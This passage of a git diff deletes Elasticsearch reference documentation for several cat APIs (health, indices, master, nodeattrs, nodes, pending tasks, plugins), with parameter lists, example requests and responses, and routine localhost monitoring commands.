-epoch      timestamp cluster       status node.total node.data shards pri relo init unassign pending_tasks max_task_wait_time active_shards_percent
-1475871424 16:17:04  elasticsearch green           1         1      1   1    0    0        0             0                  -                100.0%
---------------------------------------------------
-// TESTRESPONSE[s/1475871424 16:17:04/\\d+ \\d+:\\d+:\\d+/]
-// TESTRESPONSE[s/elasticsearch/[^ ]+/ s/0                  -/\\d+ (-|\\d+(\\.\\d+)?[ms]+)/ non_json]
-
-[[cat-health-api-example-no-timestamp]]
-===== Example without a timestamp
-You can use the `ts` (timestamps) parameter to disable timestamps. For example:
-
-[source,console]
---------------------------------------------------
-GET /_cat/health?v=true&ts=false
---------------------------------------------------
-// TEST[s/^/PUT my-index-000001\n{"settings":{"number_of_replicas": 0}}\n/]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-cluster       status node.total node.data shards pri relo init unassign pending_tasks max_task_wait_time active_shards_percent
-elasticsearch green           1         1      1   1    0    0        0             0                  -                100.0%
---------------------------------------------------
-// TESTRESPONSE[s/elasticsearch/[^ ]+/ s/0                  -/\\d+ (-|\\d+(\\.\\d+)?[ms]+)/ non_json]
-
-[[cat-health-api-example-across-nodes]]
-===== Example across nodes
-You can use the cat health API to verify the health of a cluster across nodes.
-For example:
-
-[source,sh]
---------------------------------------------------
-% pssh -i -h list.of.cluster.hosts curl -s localhost:9200/_cat/health
-[1] 20:20:52 [SUCCESS] es3.vm
-1384309218 18:20:18 foo green 3 3 3 3 0 0 0 0
-[2] 20:20:52 [SUCCESS] es1.vm
-1384309218 18:20:18 foo green 3 3 3 3 0 0 0 0
-[3] 20:20:52 [SUCCESS] es2.vm
-1384309218 18:20:18 foo green 3 3 3 3 0 0 0 0
---------------------------------------------------
-// NOTCONSOLE
-
-[[cat-health-api-example-large-cluster]]
-===== Example with a large cluster
-You can use the cat health API to track the recovery of a large cluster over a
-longer period of time. You can do this by including the cat health API request
-in a delayed loop. For example:
-
-[source,sh]
---------------------------------------------------
-% while true; do curl localhost:9200/_cat/health; sleep 120; done
-1384309446 18:24:06 foo red 3 3 20 20 0 0 1812 0
-1384309566 18:26:06 foo yellow 3 3 950 916 0 12 870 0
-1384309686 18:28:06 foo yellow 3 3 1328 916 0 12 492 0
-1384309806 18:30:06 foo green 3 3 1832 916 4 0 0
-^C
---------------------------------------------------
-// NOTCONSOLE
-
-In this example, the recovery took roughly six minutes, from `18:24:06` to
-`18:30:06`. If this recovery took hours, you could continue to monitor the
-number of `UNASSIGNED` shards, which should drop. If the number of `UNASSIGNED`
-shards remains static, it would indicate an issue with the cluster recovery.
\ No newline at end of file
diff --git a/docs/reference/cat/indices.asciidoc b/docs/reference/cat/indices.asciidoc
deleted file mode 100644
index fd76be527c7..00000000000
--- a/docs/reference/cat/indices.asciidoc
+++ /dev/null
@@ -1,122 +0,0 @@
-[[cat-indices]]
-=== cat indices API
-++++
-<titleabbrev>cat indices</titleabbrev>
-++++
-
-Returns high-level information about indices in a cluster, including backing
-indices for data streams.
-
-
-[[cat-indices-api-request]]
-==== {api-request-title}
-
-`GET /_cat/indices/<target>`
-
-`GET /_cat/indices`
-
-[[cat-indices-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API. You must
-also have the `monitor` or `manage` <<privileges-list-indices,index privilege>>
-for any data stream, index, or index alias you retrieve.
-
-[[cat-indices-api-desc]]
-==== {api-description-title}
-
-Use the cat indices API to get the following information for each index in a
-cluster:
-
-* Shard count
-* Document count
-* Deleted document count
-* Primary store size
-* Total store size of all shards, including shard replicas
-
-These metrics are retrieved directly from
-https://lucene.apache.org/core/[Lucene], which {es} uses internally to power
-indexing and search. As a result, all document counts include hidden
-<<nested,nested>> documents.
-
-To get an accurate count of {es} documents, use the <<cat-count,cat count>> or
-<<search-count,count>> APIs.
-
-
-[[cat-indices-api-path-params]]
-==== {api-path-parms-title}
-
-`<target>`::
-(Optional, string)
-Comma-separated list of data streams, indices, and index aliases used to limit
-the request. Wildcard expressions (`*`) are supported.
-+
-To target all data streams and indices in a cluster, omit this parameter or use
-`_all` or `*`.
-
-[[cat-indices-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bytes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-`health`::
-+
---
-(Optional, string) Health status used to limit returned indices. Valid values
-are:
-
-* `green`
-* `yellow`
-* `red`
-
-By default, the response includes indices of any health status.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=include-unloaded-segments]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-[[pri-flag]]
-`pri` (primary shards)::
-(Optional, Boolean) If `true`, the response only includes information from
-primary shards. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=expand-wildcards]
-
-
-[[cat-indices-api-example]]
-==== {api-examples-title}
-
-[[examples]]
-[source,console]
---------------------------------------------------
-GET /_cat/indices/my-index-*?v=true&s=index
---------------------------------------------------
-// TEST[setup:my_index_huge]
-// TEST[s/^/PUT my-index-000002\n{"settings": {"number_of_replicas": 0}}\n/]
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-health status index            uuid                   pri rep docs.count docs.deleted store.size pri.store.size
-yellow open   my-index-000001  u8FNjxh8Rfy_awN11oDKYQ   1   1       1200            0     88.1kb         88.1kb
-green  open   my-index-000002  nYFWZEO7TUiOjLQXBaYJpA   1   0          0            0       260b           260b
---------------------------------------------------
-// TESTRESPONSE[s/\d+(\.\d+)?[tgmk]?b/\\d+(\\.\\d+)?[tgmk]?b/]
-// TESTRESPONSE[s/u8FNjxh8Rfy_awN11oDKYQ|nYFWZEO7TUiOjLQXBaYJpA/.+/ non_json]
\ No newline at end of file
diff --git a/docs/reference/cat/master.asciidoc b/docs/reference/cat/master.asciidoc
deleted file mode 100644
index 1f220d6deca..00000000000
--- a/docs/reference/cat/master.asciidoc
+++ /dev/null
@@ -1,71 +0,0 @@
-[[cat-master]]
-=== cat master API
-++++
-<titleabbrev>cat master</titleabbrev>
-++++
-
-Returns information about the master node, including the ID, bound IP address,
-and name.
-
-
-[[cat-master-api-request]]
-==== {api-request-title}
-
-`GET /_cat/master`
-
-[[cat-master-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-master-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-master-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /_cat/master?v=true
---------------------------------------------------
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-id                     host      ip        node
-YzWoH_2BT-6UjVGDyPdqYg 127.0.0.1 127.0.0.1 YzWoH_2
---------------------------------------------------
-// TESTRESPONSE[s/YzWoH_2.+/.+/ non_json]
-
-This information is also available via the `nodes` command, but this
-is slightly shorter when all you want to do, for example, is verify
-all nodes agree on the master:
-
-[source,sh]
---------------------------------------------------
-% pssh -i -h list.of.cluster.hosts curl -s localhost:9200/_cat/master
-[1] 19:16:37 [SUCCESS] es3.vm
-Ntgn2DcuTjGuXlhKDUD4vA 192.168.56.30 H5dfFeA
-[2] 19:16:37 [SUCCESS] es2.vm
-Ntgn2DcuTjGuXlhKDUD4vA 192.168.56.30 H5dfFeA
-[3] 19:16:37 [SUCCESS] es1.vm
-Ntgn2DcuTjGuXlhKDUD4vA 192.168.56.30 H5dfFeA
---------------------------------------------------
-// NOTCONSOLE
diff --git a/docs/reference/cat/nodeattrs.asciidoc b/docs/reference/cat/nodeattrs.asciidoc
deleted file mode 100644
index 84dff43d284..00000000000
--- a/docs/reference/cat/nodeattrs.asciidoc
+++ /dev/null
@@ -1,126 +0,0 @@
-[[cat-nodeattrs]]
-=== cat nodeattrs API
-++++
-<titleabbrev>cat nodeattrs</titleabbrev>
-++++
-
-Returns information about custom node attributes.
-
-[[cat-nodeattrs-api-request]]
-==== {api-request-title}
-
-`GET /_cat/nodeattrs`
-
-[[cat-nodeattrs-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-nodeattrs-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
---
-If you do not specify which columns to include, the API returns the default columns in the order listed below. If you explicitly specify one or more columns, it only returns the specified columns.
-
-Valid columns are:
-
-`node`,`name`::
-(Default) Name of the node, such as `DKDM97B`.
-
-`host`, `h`::
-(Default) Host name, such as `n1`.
-
-`ip`, `i`::
-(Default) IP address, such as `127.0.1.1`.
-
-`attr`, `attr.name`::
-(Default) Attribute name, such as `rack`.
-
-`value`, `attr.value`::
-(Default) Attribute value, such as `rack123`.
-
-`id`, `nodeId`::
-ID of the node, such as `k0zy`.
-
-`pid`, `p`::
-Process ID, such as `13061`.
-
-`port`, `po`::
-Bound transport port, such as `9300`.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-nodeattrs-api-example]]
-==== {api-examples-title}
-
-[[cat-nodeattrs-api-ex-default]]
-===== Example with default columns
-
-[source,console]
---------------------------------------------------
-GET /_cat/nodeattrs?v=true
---------------------------------------------------
-// TEST[s/\?v=true/\?v=true&s=node,attr/]
-// Sort the resulting attributes so we can assert on them more easily
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-node    host      ip        attr     value
-...
-node-0 127.0.0.1 127.0.0.1 testattr test
-...
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\.\n$/\n(.+ xpack\\.installed true\n)?\n/]
-// TESTRESPONSE[s/\.\.\.\n/(.+ ml\\..+\n)*/ non_json]
-// If xpack is not installed then neither ... with match anything
-// If xpack is installed then the first ... contains ml attributes
-// and the second contains xpack.installed=true
-
-The `node`, `host`, and `ip` columns provide basic information about each node.
-The `attr` and `value` columns return custom node attributes, one per line.
-
-[[cat-nodeattrs-api-ex-headings]]
-===== Example with explicit columns
-
-The following API request returns the `name`, `pid`, `attr`, and `value`
-columns.
-
-[source,console]
---------------------------------------------------
-GET /_cat/nodeattrs?v=true&h=name,pid,attr,value
---------------------------------------------------
-// TEST[s/,value/,value&s=node,attr/]
-// Sort the resulting attributes so we can assert on them more easily
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-name    pid   attr     value
-...
-node-0 19566 testattr test
-...
---------------------------------------------------
-// TESTRESPONSE[s/19566/\\d*/]
-// TESTRESPONSE[s/\.\.\.\n$/\n(.+ xpack\\.installed true\n)?\n/]
-// TESTRESPONSE[s/\.\.\.\n/(.+ ml\\..+\n)*/ non_json]
-// If xpack is not installed then neither ... with match anything
-// If xpack is installed then the first ... contains ml attributes
-// and the second contains xpack.installed=true
\ No newline at end of file
diff --git a/docs/reference/cat/nodes.asciidoc b/docs/reference/cat/nodes.asciidoc
deleted file mode 100644
index 08279d50e5a..00000000000
--- a/docs/reference/cat/nodes.asciidoc
+++ /dev/null
@@ -1,366 +0,0 @@
-[[cat-nodes]]
-=== cat nodes API
-++++
-<titleabbrev>cat nodes</titleabbrev>
-++++
-
-Returns information about a cluster's nodes.
-
-[[cat-nodes-api-request]]
-==== {api-request-title}
-
-`GET /_cat/nodes`
-
-[[cat-nodes-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-nodes-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=bytes]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-`full_id`::
-(Optional, Boolean) If `true`, return the full node ID.  If `false`, return the
-shortened node ID. Defaults to `false`.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-+
---
-If you do not specify which columns to include, the API returns the default columns in the order listed below. If you explicitly specify one or more columns, it only returns the specified columns.
-
-Valid columns are:
-
-`ip`, `i`::
-(Default) IP address, such as `127.0.1.1`.
-
-`heap.percent`, `hp`, `heapPercent`::
-(Default) Maximum configured heap, such as `7`.
-
-`ram.percent`, `rp`, `ramPercent`::
-(Default) Used total memory percentage, such as `47`.
-
-`file_desc.percent`, `fdp`, `fileDescriptorPercent`::
-(Default) Used file descriptors percentage, such as `1`.
-
-`node.role`, `r`, `role`, `nodeRole`::
-(Default) Roles of the node. Returned values include `c` (cold node), `d` (data
-node), `h` (hot node), `i` (ingest node), `l` (machine learning node), `m`
-(master-eligible node), `r` (remote cluster client node), `s` (content node),
-`t` ({transform} node), `v` (voting-only node), `w` (warm node) and `-`
-(coordinating node only).
-+
-For example, `dim` indicates a master-eligible data and ingest node. See
-<<modules-node>>.
-
-`master`, `m`::
-(Default) Indicates whether the node is the elected master node. Returned values
-include `*` (elected master) and `-` (not elected master).
-
-`name`, `n`::
-(Default) Node name, such as `I8hydUG`.
-
-`id`, `nodeId`::
-ID of the node, such as `k0zy`.
-
-`pid`, `p`::
-Process ID, such as `13061`.
-
-`port`, `po`::
-Bound transport port, such as `9300`.
-
-`http_address`, `http`::
-Bound http address, such as `127.0.0.1:9200`.
-
-`version`, `v`::
-Elasticsearch version, such as {version}.
-
-`build`, `b`::
-Elasticsearch build hash, such as `5c03844`.
-
-`jdk`, `j`::
-Java version, such as `1.8.0`.
-
-`disk.total`, `dt`, `diskTotal`::
-Total disk space, such as `458.3gb`.
-
-`disk.used`, `du`, `diskUsed`::
-Used disk space, such as `259.8gb`.
-
-`disk.avail`, `d`, `disk`, `diskAvail`::
-Available disk space, such as `198.4gb`.
-
-`disk.used_percent`, `dup`, `diskUsedPercent`::
-Used disk space percentage, such as `47`.
-
-`heap.current`, `hc`, `heapCurrent`::
-Used heap, such as `311.2mb`.
-
-`ram.current`,`rc`, `ramCurrent`::
-Used total memory, such as `513.4mb`.
-
-`ram.max`, `rm`, `ramMax`::
-Total memory, such as `2.9gb`.
-
-`file_desc.current`, `fdc`, `fileDescriptorCurrent`::
-Used file descriptors, such as `123`.
-
-`file_desc.max`, `fdm`, `fileDescriptorMax`::
-Maximum number of file descriptors, such as `1024`.
-
-`cpu`::
-Recent system CPU usage as percent, such as `12`.
-
-`load_1m`, `l`::
-Most recent load average, such as `0.22`.
-
-`load_5m`, `l`::
-Load average for the last five minutes, such as `0.78`.
-
-`load_15m`, `l`::
-Load average for the last fifteen minutes, such as `1.24`.
-
-`uptime`, `u`::
-Node uptime, such as `17.3m`.
-
-`completion.size`, `cs`, `completionSize`::
-Size of completion, such as `0b`.
-
-`fielddata.memory_size`, `fm`, `fielddataMemory`::
-Used fielddata cache memory, such as `0b`.
-
-`fielddata.evictions`, `fe`, `fielddataEvictions`::
-Fielddata cache evictions, such as `0`.
-
-`query_cache.memory_size`, `qcm`, `queryCacheMemory`::
-Used query cache memory, such as `0b`.
-
-`query_cache.evictions`, `qce`, `queryCacheEvictions`::
-Query cache evictions, such as `0`.
-
-`query_cache.hit_count`, `qchc`, `queryCacheHitCount`::
-Query cache hit count, such as `0`.
-
-`query_cache.miss_count`, `qcmc`, `queryCacheMissCount`::
-Query cache miss count, such as `0`.
-
-`request_cache.memory_size`, `rcm`, `requestCacheMemory`::
-Used request cache memory, such as `0b`.
-
-`request_cache.evictions`, `rce`, `requestCacheEvictions`::
-Request cache evictions, such as `0`.
-
-`request_cache.hit_count`, `rchc`, `requestCacheHitCount`::
-Request cache hit count, such as `0`.
-
-`request_cache.miss_count`, `rcmc`, `requestCacheMissCount`::
-Request cache miss count, such as `0`.
-
-`flush.total`, `ft`, `flushTotal`::
-Number of flushes, such as `1`.
-
-`flush.total_time`, `ftt`, `flushTotalTime`::
-Time spent in flush, such as `1`.
-
-`get.current`, `gc`, `getCurrent`::
-Number of current get operations, such as `0`.
-
-`get.time`, `gti`, `getTime`::
-Time spent in get, such as `14ms`.
-
-`get.total`, `gto`, `getTotal`::
-Number of get operations, such as `2`.
-
-`get.exists_time`, `geti`, `getExistsTime`::
-Time spent in successful gets, such as `14ms`.
-
-`get.exists_total`, `geto`, `getExistsTotal`::
-Number of successful get operations, such as `2`.
-
-`get.missing_time`, `gmti`, `getMissingTime`::
-Time spent in failed gets, such as `0s`.
-
-`get.missing_total`, `gmto`, `getMissingTotal`::
-Number of failed get operations, such as `1`.
-
-`indexing.delete_current`, `idc`, `indexingDeleteCurrent`::
-Number of current deletion operations, such as `0`.
-
-`indexing.delete_time`, `idti`, `indexingDeleteTime`::
-Time spent in deletions, such as `2ms`.
-
-`indexing.delete_total`, `idto`, `indexingDeleteTotal`::
-Number of deletion operations, such as `2`.
-
-`indexing.index_current`, `iic`, `indexingIndexCurrent`::
-Number of current indexing operations, such as `0`.
-
-`indexing.index_time`, `iiti`, `indexingIndexTime`::
-Time spent in indexing, such as `134ms`.
-
-`indexing.index_total`, `iito`, `indexingIndexTotal`::
-Number of indexing operations, such as `1`.
-
-`indexing.index_failed`, `iif`, `indexingIndexFailed`::
-Number of failed indexing operations, such as `0`.
-
-`merges.current`, `mc`, `mergesCurrent`::
-Number of current merge operations, such as `0`.
-
-`merges.current_docs`, `mcd`, `mergesCurrentDocs`::
-Number of current merging documents, such as `0`.
-
-`merges.current_size`, `mcs`, `mergesCurrentSize`::
-Size of current merges, such as `0b`.
-
-`merges.total`, `mt`, `mergesTotal`::
-Number of completed merge operations, such as `0`.
-
-`merges.total_docs`, `mtd`, `mergesTotalDocs`::
-Number of merged documents, such as `0`.
-
-`merges.total_size`, `mts`, `mergesTotalSize`::
-Size of current merges, such as `0b`.
-
-`merges.total_time`, `mtt`, `mergesTotalTime`::
-Time spent merging documents, such as `0s`.
-
-`refresh.total`, `rto`, `refreshTotal`::
-Number of refreshes, such as `16`.
-
-`refresh.time`, `rti`, `refreshTime`::
-Time spent in refreshes, such as `91ms`.
-
-`script.compilations`, `scrcc`, `scriptCompilations`::
-Total script compilations, such as `17`.
-
-`script.cache_evictions`, `scrce`, `scriptCacheEvictions`::
-Total compiled scripts evicted from cache, such as `6`.
-
-`search.fetch_current`, `sfc`, `searchFetchCurrent`::
-Current fetch phase operations, such as `0`.
-
-`search.fetch_time`, `sfti`, `searchFetchTime`::
-Time spent in fetch phase, such as `37ms`.
-
-`search.fetch_total`, `sfto`, `searchFetchTotal`::
-Number of fetch operations, such as `7`.
-
-`search.open_contexts`, `so`, `searchOpenContexts`::
-Open search contexts, such as `0`.
-
-`search.query_current`, `sqc`, `searchQueryCurrent`::
-Current query phase operations, such as `0`.
-
-`search.query_time`, `sqti`, `searchQueryTime`::
-Time spent in query phase, such as `43ms`.
-
-`search.query_total`, `sqto`, `searchQueryTotal`::
-Number of query operations, such as `9`.
-
-`search.scroll_current`, `scc`, `searchScrollCurrent`::
-Open scroll contexts, such as `2`.
-
-`search.scroll_time`, `scti`, `searchScrollTime`::
-Time scroll contexts held open, such as `2m`.
-
-`search.scroll_total`, `scto`, `searchScrollTotal`::
-Completed scroll contexts, such as `1`.
-
-`segments.count`, `sc`, `segmentsCount`::
-Number of segments, such as `4`.
-
-`segments.memory`, `sm`, `segmentsMemory`::
-Memory used by segments, such as `1.4kb`.
-
-`segments.index_writer_memory`, `siwm`, `segmentsIndexWriterMemory`::
-Memory used by index writer, such as `18mb`.
-
-`segments.version_map_memory`, `svmm`, `segmentsVersionMapMemory`::
-Memory used by version map, such as `1.0kb`.
-
-`segments.fixed_bitset_memory`, `sfbm`, `fixedBitsetMemory`::
-Memory used by fixed bit sets for nested object field types and type filters for
-types referred in <<parent-join,`join`>> fields, such as `1.0kb`.
-
-`suggest.current`, `suc`, `suggestCurrent`::
-Number of current suggest operations, such as `0`.
-
-`suggest.time`, `suti`, `suggestTime`::
-Time spent in suggest, such as `0`.
-
-`suggest.total`, `suto`, `suggestTotal`::
-Number of suggest operations, such as `0`.
---
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-`local`::
-(Optional, boolean) 
-deprecated:[7.6.0,This parameter does not cause this API to act locally. It will be removed in version 8.0.]
-If `true`, the request computes the list of selected nodes from the local
-cluster state. Defaults to `false`, which means the list of selected nodes is
-computed from the cluster state on the master node. In either case the
-coordinating node sends a request for further information to each selected
-node.
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-nodes-api-example]]
-==== {api-examples-title}
-
-[[cat-nodes-api-ex-default]]
-===== Example with default columns
-
-[source,console]
---------------------------------------------------
-GET /_cat/nodes?v=true
---------------------------------------------------
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-ip        heap.percent ram.percent cpu load_1m load_5m load_15m node.role master name
-127.0.0.1           65          99  42    3.07                  dim       *      mJw06l1
---------------------------------------------------
-// TESTRESPONSE[s/3.07/(\\d+\\.\\d+( \\d+\\.\\d+ (\\d+\\.\\d+)?)?)?/]
-// TESTRESPONSE[s/65          99  42/\\d+ \\d+ \\d+/]
-// TESTRESPONSE[s/dim/.+/ s/[*]/[*]/ s/mJw06l1/.+/ non_json]
-
-The `ip`, `heap.percent`, `ram.percent`, `cpu`, and `load_*` columns provide the
-IP addresses and performance information of each node.
-
-The `node.role`, `master`, and `name` columns provide information useful for
-monitoring an entire cluster, particularly large ones.
-
-
-[[cat-nodes-api-ex-headings]]
-===== Example with explicit columns
-The following API request returns the `id`, `ip`, `port`, `v` (version), and `m`
-(master) columns.
-
-[source,console]
---------------------------------------------------
-GET /_cat/nodes?v=true&h=id,ip,port,v,m
---------------------------------------------------
-
-The API returns the following response:
-
-["source","txt",subs="attributes,callouts"]
---------------------------------------------------
-id   ip        port  v         m
-veJR 127.0.0.1 59938 {version} *
---------------------------------------------------
-// TESTRESPONSE[s/veJR/.+/ s/59938/\\d+/ s/[*]/[*]/ non_json]
diff --git a/docs/reference/cat/pending_tasks.asciidoc b/docs/reference/cat/pending_tasks.asciidoc
deleted file mode 100644
index 8597dba4dfa..00000000000
--- a/docs/reference/cat/pending_tasks.asciidoc
+++ /dev/null
@@ -1,64 +0,0 @@
-[[cat-pending-tasks]]
-=== cat pending tasks API
-++++
-<titleabbrev>cat pending tasks</titleabbrev>
-++++
-
-Returns cluster-level changes that have not yet been executed, similar to the
-<<cluster-pending, pending cluster tasks>> API.
-
-[[cat-pending-tasks-api-request]]
-==== {api-request-title}
-
-`GET /_cat/pending_tasks`
-
-[[cat-pending-tasks-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-pending-tasks-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=time]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-pending-tasks-api-example]]
-==== {api-examples-title}
-
-[source,console]
---------------------------------------------------
-GET /_cat/pending_tasks?v=true
---------------------------------------------------
-
-The API returns the following response:
-
-[source,txt]
---------------------------------------------------
-insertOrder timeInQueue priority source
-       1685       855ms HIGH     update-mapping [foo][t]
-       1686       843ms HIGH     update-mapping [foo][t]
-       1693       753ms HIGH     refresh-mapping [foo][[t]]
-       1688       816ms HIGH     update-mapping [foo][t]
-       1689       802ms HIGH     update-mapping [foo][t]
-       1690       787ms HIGH     update-mapping [foo][t]
-       1691       773ms HIGH     update-mapping [foo][t]
---------------------------------------------------
-// TESTRESPONSE[s/(\n.+)+/(\\n.+)*/ non_json]
-// We can't assert anything about the tasks in progress here because we don't
-// know what might be in progress....
diff --git a/docs/reference/cat/plugins.asciidoc b/docs/reference/cat/plugins.asciidoc
deleted file mode 100644
index 40207186b6e..00000000000
--- a/docs/reference/cat/plugins.asciidoc
+++ /dev/null
@@ -1,69 +0,0 @@
-[[cat-plugins]]
-=== cat plugins API
-++++
-<titleabbrev>cat plugins</titleabbrev>
-++++
-
-Returns a list of plugins running on each node of a cluster.
-
-
-[[cat-plugins-api-request]]
-==== {api-request-title}
-
-`GET /_cat/plugins`
-
-[[cat-plugins-api-prereqs]]
-==== {api-prereq-title}
-
-* If the {es} {security-features} are enabled, you must have the `monitor` or
-`manage` <<privileges-list-cluster,cluster privilege>> to use this API.
-
-[[cat-plugins-api-query-params]]
-==== {api-query-parms-title}
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=http-format]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-h]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=help]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=local]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=master-timeout]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-s]
-
-include::{es-repo-dir}/rest-api/common-parms.asciidoc[tag=cat-v]
-
-
-[[cat-plugins-api-example]]
-==== {api-examples-title}
-
-[source,console]
-------------------------------------------------------------------------------
-GET /_cat/plugins?v=true&s=component&h=name,component,version,description
-------------------------------------------------------------------------------
-
-The API returns the following response:
-
-["source","txt",subs="attributes,callouts"]
-------------------------------------------------------------------------------
-name    component               version   description
-U7321H6 analysis-icu            {version_qualified} The ICU Analysis plugin integrates the Lucene ICU module into Elasticsearch, adding ICU-related analysis components.
-U7321H6 analysis-kuromoji       {version_qualified} The Japanese (kuromoji) Analysis plugin integrates Lucene kuromoji analysis module into elasticsearch.
-U7321H6 analysis-nori           {version_qualified} The Korean (nori) Analysis plugin integrates Lucene nori analysis module into elasticsearch.
-U7321H6 analysis-phonetic       {version_qualified} The Phonetic Analysis plugin integrates phonetic token filter analysis with elasticsearch.
-U7321H6 analysis-smartcn        {version_qualified} Smart Chinese Analysis plugin integrates Lucene Smart Chinese analysis module into elasticsearch.
-U7321H6 analysis-stempel        {version_qualified} The Stempel (Polish) Analysis plugin integrates Lucene stempel (polish) analysis module into elasticsearch.
-U7321H6 analysis-ukrainian      {version_qualified} The Ukrainian Analysis plugin integrates the Lucene UkrainianMorfologikAnalyzer into elasticsearch.
-U7321H6 discovery-azure-classic {version_qualified} The Azure Classic Discovery plugin allows to use Azure Classic API for the unicast discovery mechanism
-U7321H6 discovery-ec2           {version_qualified} The EC2 discovery plugin allows to use AWS API for the unicast discovery mechanism.
-U7321H6 discovery-gce           {version_qualified} The Google Compute Engine (GCE) Discovery plugin allows to use GCE API for the unicast discovery mechanism.
-U7321H6 ingest-attachment       {version_qualified} Ingest processor that uses Apache Tika to extract contents
-U7321H6 mapper-annotated-text   {version_qualified} The Mapper Annotated_text plugin adds support for text fields with markup used to inject annotation tokens into the index.
-U7321H6 mapper-murmur3          {version_qualified} The Mapper Murmur3 plugin allows to compute hashes of a field's values at index-time and to store them in the index.
-U7321H6 mapper-size             {version_qualified} The Mapper Size plugin allows document to record their uncompressed size at index time.
-U7321H6 store-smb               {version_qualified} The Store SMB plugin adds support for SMB stores.
-U7321H6 transport-nio           {version_qualified} The nio transport.
-------------------------------------------------------------------------------
-// TESTRESPONSE[s/([.()])/\\$1/ s/U7321H6/.+/ non_json]
\ No newline at end of file
diff --git a/docs/reference/cat/recovery.asciidoc b/docs/reference/cat/recovery.asciidoc
deleted file mode 100644
index 6c91b313cac..00000000000
--- a/docs/reference/cat/recovery.asciidoc
+++ /dev/null
@@ -1,153 +0,0 @@
-[[cat-recovery]]
-=== cat recovery API
-++++
-<titleabbrev>cat recovery</titleabbrev>
-++++
-
-
